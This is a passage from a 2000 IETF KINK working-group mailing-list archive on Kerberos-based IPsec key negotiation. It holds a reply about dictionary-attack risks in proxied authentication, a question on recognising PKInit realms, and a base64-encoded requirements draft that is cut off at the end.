(PDT) Received: (from raeburn@localhost) by dcl.mit.edu (8.9.3) id HAA28121; Wed, 16 Aug 2000 07:17:46 -0400 (EDT) To: "Walker, Jesse" Cc: ietf-krb-wg@anl.gov, ietf-kink@vpnc.org Subject: Re: draft-ietf-iakerb-xx.txt discussion References: <392A357CE6FFD111AC3E00A0C99848B002FE98FC@hdsmsx31.hd.intel.com> Mime-Version: 1.0 From: Ken Raeburn Date: 16 Aug 2000 07:17:45 -0400 In-Reply-To: "Walker, Jesse"'s message of "Wed, 9 Aug 2000 15:33:22 -0700" Message-ID: Lines: 24 User-Agent: Gnus/5.070063 (Pterodactyl Gnus v0.63) Emacs/20.7 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: "Walker, Jesse" writes: > All of this makes me wonder whether it might be advantageous to alter the > responsibilities of both the proxy and the client somewhat, effectively > interchanging their roles. The client wanting to mutually authenticate would > forward its identity to the proxy. The proxy would request from the KDC a > ticket from its own host to the requesting client. Once it received the > ticket, the proxy could use the ticket to initiate the authentication > protocol with the client. If the client's key is derived from a password, interception of the message from the proxy to the client can lead to a dictionary attack opening against the client, because it has to be encrypted in the that key. Plain Kerberos doesn't prevent such an attack either when getting the initial TGT, but preauthentication methods can be designed to do so, and they only work when getting the initial TGT. Using the "user to user" mode is more secure when the "server" may be a user with a relatively weak password-based key instead of a service with a stronger random binary key. We shouldn't design protocols that shut out such measures, if we can avoid it. I think the extra protection is worth the extra traffic. Ken From owner-ietf-kink Mon Aug 28 14:01:48 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id OAA28411 for ietf-kink-bks; Mon, 28 Aug 2000 14:01:48 -0700 (PDT) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA28407 for ; Mon, 28 Aug 2000 14:01:47 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id OAA28327 for ; Mon, 28 Aug 2000 14:02:28 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA25374; Mon, 28 Aug 2000 14:02:10 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14762.54098.196051.956838@thomasm-u1.cisco.com> Date: Mon, 28 Aug 2000 14:02:10 -0700 (PDT) To: ietf-kink@vpnc.org Subject: PK realm naming X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: One of the requirements is that a KINK initiator does not need to know how the remote peer authenticated to the KDC. This isn't a problem except for the case where you have a cross realm peer who authenticated using PKInit. It would clearly be suboptimal to have the initiator try to get a service ticket only to have that fail at the KDC followed by a User-User exchange. Much better would be that the initator know ahead of time whether a given realm is a PK realm so that it can know whether to launch a 4 message U-U exchange instead of 2 message client-server exchange. So the question I have is is there a way to know ahead of time whether a remote realm is a PK realm? If not, could we invent a way and still be within the bounds of rfc1510bis? Mike PS: we will have the first cut of a draft out very soon From owner-ietf-kink Mon Sep 18 17:00:06 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id RAA29132 for ietf-kink-bks; Mon, 18 Sep 2000 17:00:06 -0700 (PDT) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id RAA29127 for ; Mon, 18 Sep 2000 17:00:04 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id RAA26218 for ; Mon, 18 Sep 2000 17:02:14 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id RAA01837; Mon, 18 Sep 2000 17:02:14 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="bS/BD/5559" Content-Transfer-Encoding: 7bit Message-ID: <14790.44293.570062.666313@thomasm-u1.cisco.com> Date: Mon, 18 Sep 2000 17:02:13 -0700 (PDT) To: ietf-kink@vpnc.org Subject: latest requirements draft X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --bS/BD/5559 Content-Type: text/plain; charset=us-ascii Content-Description: message body text Content-Transfer-Encoding: 7bit I've submitted the requirements draft again as: draft-thomas-kink-reqmt-00.txt I don't believe that it is substantially different than the initial charter document and the first set of requirements I sent to this list. This is supposed to be done by end of September, assumedly for last call as an informational RFC or somesuch. Derek -- should this be changed to draft-kink-kink-reqmt since the WG has officially been formed? Mike --bS/BD/5559 Content-Type: application/octet-stream Content-Disposition: attachment; filename="draft-thomas-kink-reqmt-00.txt" Content-Transfer-Encoding: base64 CgoKCgoKSU5URVJORVQtRFJBRlQgICAgICBLSU5LIFJlcXVpcmVtZW50cyAgICAgTWljaGFl bCBUaG9tYXMKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2lz Y28gU3lzdGVtcwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBB dWd1c3QgOSwgMjAwMAoKCgoKCgogICAgICAgICAgICAgICAgS2VyYmVyaXplZCBJbnRlcm5l dCBOZWdvdGlhdGlvbiBvZiBLZXlzCgogICAgICAgICAgICAgICAgICAgICBkcmFmdC10aG9t YXMta2luay1yZXFtdC0wMC50eHQKCgoKU3RhdHVzIG9mIHRoaXMgTWVtbwoKICAgVGhpcyBk b2N1bWVudCBpcyBhbiBJbnRlcm5ldC1EcmFmdCBhbmQgaXMgaW4gZnVsbCBjb25mb3JtYW5j ZSB3aXRoCiAgIGFsbCBwcm92aXNpb25zIG9mIFNlY3Rpb24gMTAgb2YgUkZDMjAyNi4gIElu dGVybmV0LURyYWZ0cyBhcmUgd29ya2luZwogICBkb2N1bWVudHMgb2YgdGhlIEludGVybmV0 IEVuZ2luZWVyaW5nIFRhc2sgRm9yY2UgKElFVEYpLCBpdHMgYXJlYXMsCiAgIGFuZCBpdHMg d29ya2luZyBncm91cHMuICBOb3RlIHRoYXQgb3RoZXIgZ3JvdXBzIG1heSBhbHNvIGRpc3Ry aWJ1dGUKICAgd29ya2luZyBkb2N1bWVudHMgYXMgSW50ZXJuZXQtRHJhZnRzLgoKICAgSW50 ZXJuZXQtRHJhZnRzIGFyZSBkcmFmdCBkb2N1bWVudHMgdmFsaWQgZm9yIGEgbWF4aW11bSBv ZiBzaXggbW9udGhzCiAgIGFuZCBtYXkgYmUgdXBkYXRlZCwgcmVwbGFjZWQsIG9yIG9ic29s ZXRlZCBieSBvdGhlciBkb2N1bWVudHMgYXQgYW55CiAgIHRpbWUuICBJdCBpcyBpbmFwcHJv cHJpYXRlIHRvIHVzZSBJbnRlcm5ldC1EcmFmdHMgYXMgcmVmZXJlbmNlCiAgIG1hdGVyaWFs IG9yIHRvIGNpdGUgdGhlbSBvdGhlciB0aGFuIGFzICJ3b3JrIGluIHByb2dyZXNzLiIKCiAg IFRoZSBsaXN0IG9mIGN1cnJlbnQgSW50ZXJuZXQtRHJhZnRzIGNhbiBiZSBhY2Nlc3NlZCBh dAogICBodHRwOi8vd3d3LmlldGYub3JnL2lldGYvMWlkLWFic3RyYWN0cy50eHQKCiAgIFRo ZSBsaXN0IG9mIEludGVybmV0LURyYWZ0IFNoYWRvdyBEaXJlY3RvcmllcyBjYW4gYmUgYWNj ZXNzZWQgYXQKICAgaHR0cDovL3d3dy5pZXRmLm9yZy9zaGFkb3cuaHRtbC4KCkFic3RyYWN0 CgogICBUaGUgS0lOSyB3b3JraW5nIGdyb3VwIGlzIGNoYXJ0ZXJlZCB0byBjcmVhdGUgYSBz dGFuZGFyZHMgdHJhY2sKICAgcHJvdG9jb2wgdG8gZmFjaWxpdGF0ZSBjZW50cmFsaXplZCBr ZXkgbWFuYWdlbWVudCBmb3IgSVBzZWMgc2VjdXJpdHkKICAgYXNzb2NpYXRpb25zIGFzIGRl ZmluZWQgaW4gUkZDIDI0MDEsIGFzIGFuIGFsdGVybmF0aXZlIHRvIElLRSAoUkZDCiAgIDI0 MDkpLiAgUGFydGljaXBhdGluZyBzeXN0ZW1zIHdpbGwgdXNlIHRoZSBLZXJiZXJvcyBhcmNo aXRlY3R1cmUgYXMKICAgZGVmaW5lZCBpbiBSRkMgMTUxMCAoYW5kIGl0cyBzdWNjZXNzb3Jz KSBmb3Iga2V5IG1hbmFnZW1lbnQuIFRoZSBnb2FsCiAgIG9mIHRoZSB3b3JraW5nIGdyb3Vw IGlzIHRvIHByb2R1Y2UgYSBzdHJlYW1saW5lZCwgZmFzdCwgZWFzaWx5CiAgIG1hbmFnZWQs IGFuZCBjcnlwdG9ncmFwaGljYWxseSBzb3VuZCBwcm90b2NvbCB3aXRob3V0IHJlcXVpcmlu ZwogICBwdWJsaWMga2V5LgoKICAgVGhlIHdvcmtpbmcgZ3JvdXAgd2lsbCBub3QgcmVxdWly ZSBjaGFuZ2VzIHRvIGVpdGhlciBJUHNlYyAoUkZDCiAgIDI0MDEpLCBvciBLZXJiZXJvcyAo UkZDIDE1MTApLgoKCgoKVGhvbWFzICAgICAgICAgICAgICAgICBkcmFmdC10aG9tYXMta2lu ay1yZXFtdC0wMCAgICAgICAgICAgICAgIFtQYWdlIDFdCgoKCgoKSU5URVJORVQtRFJBRlQg IEtlcmJlcml6ZWQgSW50ZXJuZXQgTmVnb3RpYXRpb24gb2YgS2V5cyAgICA5IEF1Z3VzdCAy MDAwCgoKTW90aXZhdGlvbgoKICAgVGhlIElQc2VjIHdvcmtpbmcgZ3JvdXAgaGFzIGRlZmlu ZWQgYSBudW1iZXIgb2YgcHJvdG9jb2xzIHdoaWNoCiAgIHByb3ZpZGUgdGhlIGFiaWxpdHkg dG8gY3JlYXRlIGFuZCBtYWludGFpbiBjcnlwdG9ncmFwaGljYWxseSBzZWN1cmUKICAgc2Vj dXJpdHkgYXNzb2NpYXRpb25zIGF0IGxheWVyIHRocmVlIChpZSwgdGhlIElQIGxheWVyKS4g IFRoaXMgZWZmb3J0CiAgIGhhcyBwcm9kdWNlZCB0d28gZGlzdGluY3QgcHJvdG9jb2xzOgoK ICAgMSkgYSBtZWNoYW5pc20gdG8gZW5jcnlwdCBhbmQgYXV0aGVudGljYXRlIElQIGRhdGFn cmFtIHBheWxvYWRzIHdoaWNoCiAgICAgIGFzc3VtZXMgYSBzaGFyZWQgc2VjcmV0IGJldHdl ZW4gdGhlIHNlbmRlciBhbmQgcmVjZWl2ZXIKCiAgIDIpIGEgbWVjaGFuaXNtIGZvciBJUHNl YyBwZWVycyB0byBwZXJmb3JtIG11dHVhbCBhdXRoZW50aWNhdGlvbiBhbmQKICAgICAgZXhj aGFuZ2Uga2V5aW5nIG1hdGVyaWFsCgogICBUaGUgSVBzZWMgd29ya2luZyBncm91cCBoYXMg ZGVmaW5lZCBhIHBlZXIgdG8gcGVlciBhdXRoZW50aWNhdGlvbiBhbmQKICAga2V5aW5nIG1l Y2hhbmlzbSwgSUtFIChSRkMgMjQwOSkuIE9uZSBvZiB0aGUgZHJhd2JhY2tzIG9mIGEgcGVl ciB0bwogICBwZWVyIHByb3RvY29sIGlzIHRoYXQgZWFjaCBwZWVyIG11c3Qga25vdyBhbmQg aW1wbGVtZW50IGEgc2l0ZSdzCiAgIHNlY3VyaXR5IHBvbGljeSB3aGljaCBpbiBwcmFjdGlj ZSBjYW4gYmUgcXVpdGUgY29tcGxleC4gSW4gYWRkaXRpb24sCiAgIHRoZSBsYWNrIG9mIGEg dHJ1c3RlZCB0aGlyZCBwYXJ0eSByZXF1aXJlcyB0aGUgdXNlIG9mIERpZmZpZSBIZWxsbWFu CiAgIChESCkgdG8gZXN0YWJsaXNoIGEgc2hhcmVkIHNlY3JldC4gREgsIHVuZm9ydHVuYXRl bHksIGlzIGNvbXB1dGF0aW9uLQogICBhbGx5IHF1aXRlIGV4cGVuc2l2ZSBhbmQgcHJvbmUg dG8gZGVuaWFsIG9mIHNlcnZpY2UgYXR0YWNrcy4gSUtFIGFsc28KICAgcmVsaWVzIG9uIFgu NTA5IGNlcnRpZmljYXRlcyB0byByZWFsaXplIHNjYWxhYmxlIGF1dGhlbnRpY2F0aW9uIG9m CiAgIHBlZXJzLiBEaWdpdGFsIHNpZ25hdHVyZXMgYXJlIGFsc28gY29tcHV0YXRpb25hbGx5 IGV4cGVuc2l2ZSBhbmQgY2VyLQogICB0aWZpY2F0ZSBiYXNlZCB0cnVzdCBtb2RlbHMgYXJl IGRpZmZpY3VsdCB0byBkZXBsb3kgaW4gcHJhY3RpY2UuCiAgIFdoaWxlIElLRSBkb2VzIGFs bG93IGZvciBwcmUtc2hhcmVkIHN5bW1ldHJpYyBrZXlzLCBrZXkgZGlzdHJpYnV0aW9uCiAg IGlzIHJlcXVpcmVkIGJldHdlZW4gYWxsIHBlZXJzIC0tIGFuIE8obl4yKSBwcm9ibGVtIC0t IHdoaWNoIGlzIHByb2ItCiAgIGxlbWF0aWMgZm9yIGxhcmdlIGRlcGxveW1lbnRzLgoKICAg S2VyYmVyb3MgKFJGQyAxNTEwKSBwcm92aWRlcyBhIG1lY2hhbmlzbSBmb3IgdHJ1c3RlZCB0 aGlyZCBwYXJ0eQogICBhdXRoZW50aWNhdGlvbiBmb3IgY2xpZW50cyBhbmQgc2VydmVycy4g Q2xpZW50cyBhdXRoZW50aWNhdGUgdG8gYQogICBjZW50cmFsaXplZCBzZXJ2ZXIgLS0gdGhl IEtleSBEaXN0cmlidXRpb24gQ2VudGVyIC0tIHdoaWNoIGluIHR1cm4KICAgaXNzdWVzIHRp Y2tldHMgdGhhdCBzZXJ2ZXJzIGNhbiBkZWNyeXB0IHRodXMgcHJvdmluZyB0aGF0IHRoZSBj bGllbnQKICAgaXMgd2hvIGl0IGNsYWltcyB0byBiZS4gT25lIG9mIHRoZSBlbGVtZW50cyBv ZiBhIEtlcmJlcm9zIHRpY2tldCBpcyBhCiAgIHNlc3Npb24ga2V5IHdoaWNoIGlzIGdlbmVy YXRlZCBieSB0aGUgS0RDIHdoaWNoIG1heSBiZSB1c2VkIGJ5IHRoZQogICBjbGllbnQgYW5k IHNlcnZlciB0byBzaGFyZSBhIHNlY3JldC4gS2VyYmVyb3MgYWxzbyBhbGxvd3MgZm9yIGJv dGgKICAgc3ltbWV0cmljIGtleSBhdXRoZW50aWNhdGlvbiwgYXMgd2VsbCBhcyBjZXJ0aWZp Y2F0ZSBiYXNlZCBwdWJsaWMga2V5CiAgIGF1dGhlbnRpY2F0aW9uIChQS2luaXQpLiBTaW5j ZSB0aGUgYXV0aGVudGljYXRpb24gcGhhc2Ugb2YgS2VyYmVyb3MKICAgaXMgcGVyZm9ybWVk IGJ5IHRoZSBLREMsIHRoZXJlIGlzIG5vIG5lZWQgdG8gcGVyZm9ybSBleHBlbnNpdmUgREgg b3IKICAgWC41MDkgY2VydGlmaWNhdGUgc2lnbmF0dXJlcy92ZXJpZmljYXRpb24gb3BlcmF0 aW9ucyBvbiBzZXJ2ZXJzLgogICBXaGlsZSBjbGllbnRzIG1heSBhdXRoZW50aWNhdGUgdXNp bmcgWC41MDkgY2VydGlmaWNhdGVzLCB0aGUgYXV0aGVuLQogICB0aWNhdGlvbiBwaGFzZSBj YW4gYmUgYW1vcnRpemVkIG92ZXIgdGhlIGxpZmV0aW1lIG9mIHRoZSBjcmVkZW50aWFscy4K ICAgVGhpcyBhbGxvd3MgYSBzaW5nbGUgREggYW5kIGNlcnRpZmljYXRlIGV4Y2hhbmdlIHRv IGJlIHVzZWQgdG8ga2V5CiAgIHNlY3VyaXR5IGFzc29jaWF0aW9ucyB3aXRoIG1hbnkgc2Vy dmVycyBpbiBhIGNvbXB1dGF0aW9uYWxseSBlY29ub21pYwogICB3YXkuIEtlcmJlcm9zIGFs c28gc3VwcG9ydCBjbGllbnRzIHdpdGggc3ltbWV0cmljIGtleXMgYnV0IHVubGlrZQogICBJ S0UsIHRoZSBzeW1tZXRyaWMga2V5cyBhcmUgc3RvcmVkIGluIHRoZSBLREMgbWFraW5nIHRo ZSBudW1iZXIgb2YKICAga2V5cyBhbiBPKG4pIHByb2JsZW0gcmF0aGVyIHRoYW4gTyhuXjIp LiAgS2VyYmVyb3MgYWxzbyBhbGxvd3Mgc2VjdS0KICAgcml0eSBwb2xpY3kgdG8gYmUgbWFu YWdlZCBpbiBhIG1vcmUgY2VudHJhbGl6ZWQgZmFzaGlvbiwgcmF0aGVyIHRoYW4KICAgZXhw ZWN0aW5nIGVhY2ggcG90ZW50aWFsbHkgdW50cnVzdHdvcnRoeSBwZWVyIHRvIGFiaWRlIGJ5 IHN0YXRlZAogICBzZWN1cml0eSBwb2xpY2llcyBvZiBhbiBvcmdhbml6YXRpb24uCgoKClRo b21hcyAgICAgICAgICAgICAgICAgZHJhZnQtdGhvbWFzLWtpbmstcmVxbXQtMDAgICAgICAg ICAgICAgICBbUGFnZSAyXQoKCgoKCklOVEVSTkVULURSQUZUICBLZXJiZXJpemVkIEludGVy bmV0IE5lZ290aWF0aW9uIG9mIEtleXMgICAgOSBBdWd1c3QgMjAwMAoKCiAgIFRoZSBLSU5L IHdvcmtpbmcgZ3JvdXAgdGFrZXMgdGhlc2UgYmFzaWMgZmVhdHVyZXMgb2YgS2VyYmVyb3Mg YW5kCiAgIHVzZXMgdGhlbSB0byBpdHMgYWR2YW50YWdlIHRvIGNyZWF0ZSBhIHByb3RvY29s IHdoaWNoIGNhbiBlc3RhYmxpc2gKICAgYW5kIG1haW50YWluIElQc2VjIHNlY3VyaXR5IGFz c29jaWF0aW9ucyAoUkZDIDI0MDEpLiAgSXQgc2hvdWxkIGJlCiAgIG5vdGVkIHRoYXQgS0lO SyBpcyBub3QgYSByZXBsYWNlbWVudCBmb3IgSUtFLiAgSUtFIGhhcyBvbmUgcHJvcGVydHkK ICAgd2hpY2ggS0lOSyBjYW5ub3QgcmVwcm9kdWNlOiAgdGhlIGFiaWxpdHkgZm9yIHR3byBw ZWVycyB0byBtdXR1YWxseQogICBhdXRoZW50aWNhdGUgYW5kIGV4Y2hhbmdlIGtleXMgd2l0 aG91dCB0aGUgbmVlZCBmb3IgYW4gYWN0aXZlbHkgcGFyLQogICB0aWNpcGF0aW5nIHRoaXJk IHBhcnR5LiBIb3dldmVyLCB0aGVyZSBhcmUgbWFueSBzaXR1YXRpb25zIHdoZXJlIGEKICAg dHJ1c3RlZCB0aGlyZCBwYXJ0eSB3aGljaCBwcm94aWVzIGF1dGhlbnRpY2F0aW9uIGlzIHZp YWJsZSwgYW5kIGluCiAgIGZhY3QgZGVzaXJhYmxlLgoKICAgV2hpbGUgS2VyYmVyb3Mgc3Bl Y2lmaWVzIGEgc3RhbmRhcmQgcHJvdG9jb2wgYmV0d2VlbiB0aGUgY2xpZW50IGFuZAogICB0 aGUgS0RDIHRvIGdldCB0aWNrZXRzLCB0aGUgYWN0dWFsIHRpY2tldCBleGNoYW5nZSBiZXR3 ZWVuIGNsaWVudCBhbmQKICAgc2VydmVyIGlzIGFwcGxpY2F0aW9uIHNwZWNpZmljLiAgS0lO SyBpcyBpbnRlbmRlZCB0byBiZSBhbiBhbHRlcm5hLQogICB0aXZlIHRvIHJlcXVpcmluZyBl YWNoIGFwcGxpY2F0aW9uIGhhdmluZyBpdHMgb3duIG1ldGhvZCBvZiB0cmFuLQogICBzcG9y dGluZyBhbmQgdmFsaWRhdGluZyBzZXJ2aWNlIHRpY2tldHMgdXNpbmcgYSBwcm90b2NvbCB3 aGljaCBpcwogICBlZmZpY2llbnQgYW5kIHRhaWxvcmVkIHRvIHRoZSBzcGVjaWZpYyBuZWVk cyBvZiBLZXJiZXJvcyBhbmQgdGhlCiAgIGFwcGxpY2F0aW9ucyBmb3Igd2hpY2ggaXQgcHJv dmlkZXMga2V5aW5nIGFuZCBwYXJhbWV0ZXIgbmVnb3RpYXRpb24uCgogICBHaXZlbiB0aGUg YWJvdmUsIGEgbmV3IGdlbmVyYWwga2V5aW5nIHByb3RvY29sIHdoaWNoIGxldmVyYWdlcyB0 aGUKICAgc2NhbGFiaWxpdHkgb2YgS2VyYmVyb3MgaXMgZGVzaXJhYmxlLiAgVGhlIHdvcmtp bmcgZ3JvdXAncyBmaXJzdCB0YXNrCiAgIGlzIHRvIGRlZmluZSB0aGlzIHByb3RvY29sIGFu ZCBkZWZpbmUgYW4gZG9tYWluIG9mIGludGVycHJldGF0aW9uIGZvcgogICBJUHNlYyB0byBl c3RhYmxpc2ggYW5kIG1haW50YWluIElQc2VjIHNlY3VyaXR5IGFzc29jaWF0aW9ucy4gVGhl IHByby0KICAgdG9jb2wgbXVzdCBiZSBhYmxlIHRvIHRha2UgZnVsbCBhZHZhbnRhZ2Ugb2Yg dGhlIGZlYXR1cmVzIG9mIFJGQyAyNDAxCiAgIGJ1dCBpbiB0aGUgY29udGV4dCBvZiBhIGNl bnRyYWxpemVkIGtleWluZyBhdXRob3JpdHkuCgpSZXF1aXJlbWVudHMKCiAgIEtJTksgbXVz dCBtZWV0IHRoZSBmb2xsb3dpbmcgcmVxdWlyZW1lbnRzIGF0IGEgbWluaW11bToKCi0gICAg VGhlIHByb3RvY29sIG11c3QgdXNlIEtlcmJlcm9zIHRvIGNyZWF0ZSBzZXNzaW9uIGtleXMg aW4gYSBzZWN1cmUKICAgICBmYXNoaW9uCgotICAgIFRoZSBwcm90b2NvbCBtdXN0IGJlIGFi bGUgdG8gaW50ZWdyYXRlIGludG8gc2VjdXJpdHkgYXJjaGl0ZWN0dXJlCiAgICAgb2YgSVBT ZWMgKFJGQyAyNDAxKQoKLSAgICBUaGUgcHJvdG9jb2wgbXVzdCBiZSBhYmxlIHRvIHN0YXJ0 IHVwIFNBJ3MgcmVnYXJkbGVzcyBvZiBhbnkKICAgICBjbGllbnQvc2VydmVyIGRpc3Bvc2l0 aW9uIGluIHRoZSBrZXlpbmcgcHJvdG9jb2wKCi0gICAgS2VyYmVyb3MgbWFrZXMgYSBkaXN0 aW5jdGlvbiBiZXR3ZWVuIGNsaWVudHMgYW5kIHNlcnZlcnM7IElQc2VjCiAgICAgZG9lcyBu b3QuIFRoZSBwcm90b2NvbCBtdXN0IGFsbG93IGZvciBJUHNlYyBzZWN1cml0eSBhc3NvY2lh dGlvbnMKICAgICB0byBiZSBpbml0aWF0ZWQgYnkgYm90aCBzZXJ2ZXJzIGFuZCBjbGllbnRz LCB0aHVzIHByZXNlcnZpbmcKICAgICBJUHNlYydzIHBlZXIgdG8gcGVlciBuYXR1cmUuCgot ICAgIFRoZSBwcm90b2NvbCBtdXN0IGJlIGFibGUgdG8gaW5pdGlhbGx5IGF1dGhlbnRpY2F0 ZSB1c2luZyBlaXRoZXIKICAgICBzZWNyZXQga2V5LCBvciBwdWJsaWMga2V5IGF1dGhlbnRp Y2F0aW9uLgoKLSAgICBUaGUgcHJvdG9jb2wgbXVzdCBhY2NvbW1vZGF0ZSBhbnkgY29tYmlu YXRpb24gb2YgcHVibGljIGFuZCBzZWNyZXQKICAgICBrZXkgcGVlcnMKCgoKVGhvbWFzICAg ICAgICAgICAgICAgICBkcmFmdC10aG9tYXMta2luay1yZXFtdC0wMCAgICAgICAgICAgICAg IFtQYWdlIDNdCgoKCgoKSU5URVJORVQtRFJBRlQgIEtlcmJlcml6ZWQgSW50ZXJuZXQgTmVn b3RpYXRpb24gb2YgS2V5cyAgICA5IEF1Z3VzdCAyMDAwCgoKLSAgICBUaGUgcHJvdG9jb2wg bXVzdCBiZSBhYmxlIHRvIGFsbG93IGEgcGVlciB0byBhdXRoZW50aWNhdGUgYW5kIHBhci0K ICAgICB0aWNpcGF0ZSBpbiBtYW55IHJlYWxtcwoKLSAgICBUaGUgcHJvdG9jb2wgbXVzdCBo YW5kbGUgYWJzb2x1dGUgdGltZSBza2V3IGdyYWNlZnVsbHkKCi0gICAgVGhlIHByb3RvY29s IG11c3QgYmUgYWJsZSB0byBjcmVhdGUsIG1vZGlmeSwgcmVrZXksIGFuZCBkZWxldGUKICAg ICBzZWN1cml0eSBhc3NvY2lhdGlvbnMKCi0gICAgVGhlIHByb3RvY29sIG11c3QgYmUgY2Fw YWJsZSBvZiBzZXR0aW5nIHVwIGJvdGggdHJhbnNwb3J0IGFuZCB0dW4tCiAgICAgbmVsIG1v ZGVzIG9mIElQU2VjCgotICAgIFRoZSBwcm90b2NvbCBtdXN0IGJlIGNhcGFibGUgb2Ygc2V0 dGluZyB1cCBib3RoIEFIIGFuZCBFU1Agc2VjdXJpdHkKICAgICBhc3NvY2lhdGlvbnMKCi0g ICAgVGhlIHByb3RvY29sIG11c3QgYmUgY2FwYWJsZSBvZiBuZWdvdGlhdGluZyBjaXBoZXIg c3VpdGVzCgotICAgIFRoZSBwcm90b2NvbCBtdXN0IGJlIGNhcGFibGUgb2Ygc2V0dGluZyB1 cCBJUHNlYyBmbG93IHNlbGVjdG9ycwoKLSAgICBUaGUgcHJvdG9jb2wgbXVzdCBiZSBjYXBh YmxlIG9mIHJla2V5aW5nIHdpdGhvdXQgdGhlIGFzc2lzdGFuY2Ugb2YKICAgICB0aGUgS0RD IGlmIHRoZSBzZXNzaW9uIHRpY2tldCBpcyBzdGlsbCB2YWxpZAoKLSAgICBUaGUgcHJvdG9j b2wgbXVzdCBtYWtlIGFuIGVmZm9ydCB0byBtaXRpZ2F0ZSB0aGlyZCBwYXJ0eSBEZW5pYWwg b2YKICAgICBTZXJ2aWNlIGF0dGFja3MgKGFrYSBab21iaWVzIGF0dGFja3MpCgotICAgIFRo ZSBwcm90b2NvbCBtdXN0IGJlIGFibGUgdG8gYmUgdXNlZCBmb3IgbW9yZSB0aGFuIElQc2Vj IGtleWluZwoKLSAgICBUaGUgcHJvdG9jb2wgbXVzdCBzdXBwb3J0IGJvdGggSVB2NCBhbmQg SVB2NgoKCkRlbGl2ZXJhYmxlcwoKICAgICBUaGUgd29ya2luZyBncm91cCdzIHJlc3BvbnNp YmlsaXRpZXMgYXJlIGFzIGZvbGxvd3M6CgotICAgIENvbXBsZXRlIGEgcHJvdG9jb2wgd2hp Y2ggbWVldHMgdGhlIHJlcXVpcmVtZW50cyBvdXRsaW5lZCBhYm92ZQoKLSAgICBLZWVwIGFs bCBLSU5LIHdvcmtpbmcgZ3JvdXAgZG9jdW1lbnRzIG1vdmluZyBhbG9uZyBwdWJsaWNhdGlv biAvCiAgICAgc3RhbmRhcmRpemF0aW9uIHRyYWNrLgogICBUaGUgbGlzdCBvZiB0aGUgd29y a2luZyBncm91cCdzIGN1cnJlbnQgd29yayBpdGVtcyBpcyBhcyBmb2xsb3dzOgoKLSAgICBE ZWZpbmUgdGhlIGJhc2UgS2VyYmVyaXplZCBJbnRlcm5ldCBOZWdvdGlhdGlvbiBvZiBLZXlz IHByb3RvY29sLgoKR29hbHMgYW5kIE1pbGVzdG9uZXMKCgpTZXAgMjAwMCAgICAgIENvbnNl bnN1cyBvbiByZXF1aXJlbWVudHMgZG9jdW1lbnQKCkRlYyAyMDAwICAgICAgUmV2aWV3IGRy YWZ0cyBhdCBEZWMgSUVURgoKCgoKVGhvbWFzICAgICAgICAgICAgICAgICBkcmFmdC10aG9t YXMta2luay1yZXFtdC0wMCAgICAgICAgICAgICAgIFtQYWdlIDRdCgoKCgoKSU5URVJORVQt RFJBRlQgIEtlcmJlcml6ZWQgSW50ZXJuZXQgTmVnb3RpYXRpb24gb2YgS2V5cyAgICA5IEF1 Z3VzdCAyMDAwCgoKSmFuIDIwMDEgICAgICBDb25zZW5zdXMgb24gYmFzZSBkcmFmdCBwcm90 b2NvbAoKTWFyIDIwMDEgICAgICBXRyBMYXN0IGNhbGwgb24gZHJhZnQKCk1hciAyMDAxLUp1 biAyMDAxCiAgICAgICAgICAgICAgSW50ZXJvcGVyYWJpbGl0eSBCYWtlb2ZmcwoKQXVnIDIw MDEgICAgICBJbnRlcm9wZXJhYmlsaXR5IHJlc3VsdHMsIGRlY2lzaW9uIHRvIHJlY3ljbGUg b3IgbW92ZSBmb3ItCiAgICAgICAgICAgICAgd2FyZAoKQWRtaW5pc3RyYXRpdmEKCkNoYWly KHMpOgoKICBEZXJlayBBdGtpbnMgPHdhcmxvcmRAcmVzZWFyY2gudGVsY29yZGlhLmNvbT4K CkRvY3VtZW50IEVkaXRvcjoKCiAgVEJECgpJbnRlcm5ldCBBcmVhIERpcmVjdG9yKHMpOgoK ICBKZWZmcmV5IFNjaGlsbGVyIDxqaXNAbWl0LmVkdT4KICBNYXJjdXMgTGVlY2ggPG1sZWVj aEBub3J0ZWxuZXR3b3Jrcy5jb20+CgpJbnRlcm5ldCBBcmVhIEFkdmlzb3I6CgpUQkQKCk1h 